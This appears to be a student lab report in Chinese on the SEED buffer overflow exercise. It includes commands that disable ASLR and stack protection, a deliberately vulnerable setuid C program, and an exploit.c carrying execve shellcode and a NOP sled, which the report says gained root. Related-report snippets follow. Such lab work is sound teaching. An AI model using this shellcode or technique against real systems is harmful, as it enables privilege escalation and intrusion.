2018-2019-1 20165228 《信息安全系统设计基础》缓冲区溢出漏洞实验报告

2018-2019-1 20165228 《信息安全系统设计基础》缓冲区溢出漏洞实验报告

实验简介:

缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

实验原理:

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。shellcode是存放程序的汇编代码。

实验步骤:

1、关闭地址空间随机化功能,使猜测随机堆(heap)和栈(stack)的初始地址更容易。

使用命令:

$ sudo sysctl -w kernel.randomize_va_space=0

2、使用另一个 shell 程序(zsh)代替 /bin/bash,以重现防范缓冲区溢出攻击及其它利用 shell 程序的攻击防护措施被实现之前的情形。

设置zsh程序命令:

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

3、进入linux32位环境,输入“/bin/bash”使用bash

$ linux32
$ /bin/bash

4、在 /tmp 目录下新建一个 stack.c 文件,代码如下

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;//定义文件指针

    badfile = fopen("badfile", "r");//文件指针指向badfile
    fread(str, sizeof(char), 517, badfile);//从badfile中读取内容到str
    bof(str);//再把str中的内容复制到buffer中
    printf("Returned Properly\n");
    return 1;
}

5、编译该程序,并设置set-uid

Linux SETUID机制

(1)进程运行时能够访问哪些资源或文件,不取决于进程文件的属主属组,而是取决于运行该命令的用户身份的uid/gid,以该身份获取各种系统资源。

(2)对一个属主为root的可执行文件,如果设置了SUID位,则其他所有普通用户都将可以以root身份运行该文件,获取相应的系统资源。

(3)可以简单地理解为让普通用户拥有可以执行“只有root权限才能执行”的特殊权限。

(4)setuid,setuid的作用是让执行该命令的用户以该命令拥有者的权限去执行,比如普通用户执行passwd时会拥有root的权限,这样就可以修改/etc/passwd这个文件了。它的标志为:s,会出现在x的地方,例:-rwsr-xr-x 。而setgid的意思和它是一样的,即让执行文件的用户以该文件所属组的权限去执行,

(5)我们知道/tmp是系统的临时文件目录,所有的用户在该目录下拥有所有的权限,也就是说在该目录下可以任意创建、修改、删除文件,那如果用户A在该目录下创建了一个文件,用户B将该文件删除了,这种情况我们是不能允许的。为了达到该目的,就出现了stick bit(粘滞位)的概念。它是针对目录来说的,如果该目录设置了stick bit(粘滞位),则该目录下的文件除了该文件的创建者和root用户可以删除和修改/tmp目录下的stuff,别的用户均不能动别人的,这就是粘滞位的作用。

-- 引用自《Linux理解setuid()、setgid()和sticky位

u 表示该档案的拥有者,g 表示与该档案的拥有者属于同一个群体(group)者,o 表示其他以外的人,a 表示这三者皆是。

  • 表示增加权限、- 表示取消权限、= 表示唯一设定权限。

    r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。

    -c : 若该档案权限确实已经更改,才显示其更改动作

    -f : 若该档案权限无法被更改也不要显示错误讯息

    -v : 显示权限变更的详细资料

    -R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)

-- 引用自《chmod命令详细用法

命令:

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
//–fno-stack-protector 关闭阻止缓冲区溢出的栈保护机制, -z execstack 用于允许执行栈。
$ chmod u+s stack
$ exit

6、在 /tmp 目录下新建一个 exploit.c 文件,代码如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

命令:

cd /tmp
vi exploit.c

7、输入命令得到 shellcode 在内存中的地址,设置断点,然后得到str地址。

$ gdb stack
$ disass main

8、修改exploit.c文件,shellcode 的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)

9、编译 exploit.c 程序:

$ gcc -m32 -o exploit exploit.c

10、先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

通过攻击,获得了root 权限!

原文地址:https://www.cnblogs.com/cloud795/p/9784170.html

时间: 2024-10-01 21:18:49

2018-2019-1 20165228 《信息安全系统设计基础》缓冲区溢出漏洞实验报告的相关文章

信息安全系统设计基础第三周实验报告

第二章 信息的表示和处理 三种最重要的数字表示法 无符号:基于传统的二进制表示法,大于等于0 补码:有符号整数 浮点数:实数的科学计数法的以二进制为基数的版本 缓冲区溢出漏洞: 计算机的表示法是用有限数量的位来对应一个数字编码,当结果太大不能表示时就会发生溢出.人为的溢出是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区这时可能会出现两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃:另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统r

20155301信息安全系统设计基础第三次实验

信息安全系统设计基础第三次实验 实验一 任务要求 1)学习使用Linux命令wc(1) 2)基于Linux Socket程序设计实现wc(1)服务器(端口号是你学号的后6位)和客户端 3)客户端传一个文本文件给服务器 4)服务器返加文本文件中的单词数 实验步骤 首先要在Linux中查看wc命令 从中我们可以得知wc的命令是输出文章中的单词或者字符个数 然后wc中有很多命令参数,它们各自的作用如下 -c 统计字节数. -l 统计行数. -m 统计字符数.这个标志不能与 -c 标志一起使用. -w

实验一:缓冲区溢出漏洞实验20115116黄婧

缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的. 一.实验要求 1.为了监控实验进程,我们采用私有课程方式,进入实验楼课程,单击加入私有课程,输入邀请码2YTE6J9X,个人信息中输入学号+姓名; 2.实验报告在博客园 发Blog公开,重点是实验过程中的运行结果(要有截图),遇到的问题.解决办法(不要是空洞的方法如“查网络”.“问同学”.“看书”等)以及分析(从中可以得到什么启示,有什么收获,教训

实验一——缓冲区溢出漏洞实验

Linux实验一 —— 缓冲区溢出漏洞实验 20122137 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.

缓冲区溢出漏洞实验20125111

练习1 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的东西: 2.输入

缓冲区溢出漏洞实验20123137

实验一 缓冲区溢出漏洞实验 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程

Linux及安全实验一:缓冲区溢出漏洞实验

Linux及安全实验一:缓冲区溢出漏洞实验 20125107 聂航 一.      实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这会造成一些严重的后果.缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 本实验详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的

20165336缓冲区溢出漏洞实验

20165336缓冲区溢出漏洞实验 练习一:按照实验步骤进行操作,攻击漏洞程序并获得 root 权限. 实验准备:安装一些用于编译 32 位 C 程序的软件包. 初始设置:关闭地址空间随机化来随机堆(heap)和栈(stack)的初始地址,为了重现这一防护措施被实现之前的情形,使用另一个 shell 程序(zsh)代替 /bin/bash. 什么是shellcode:一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址.而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到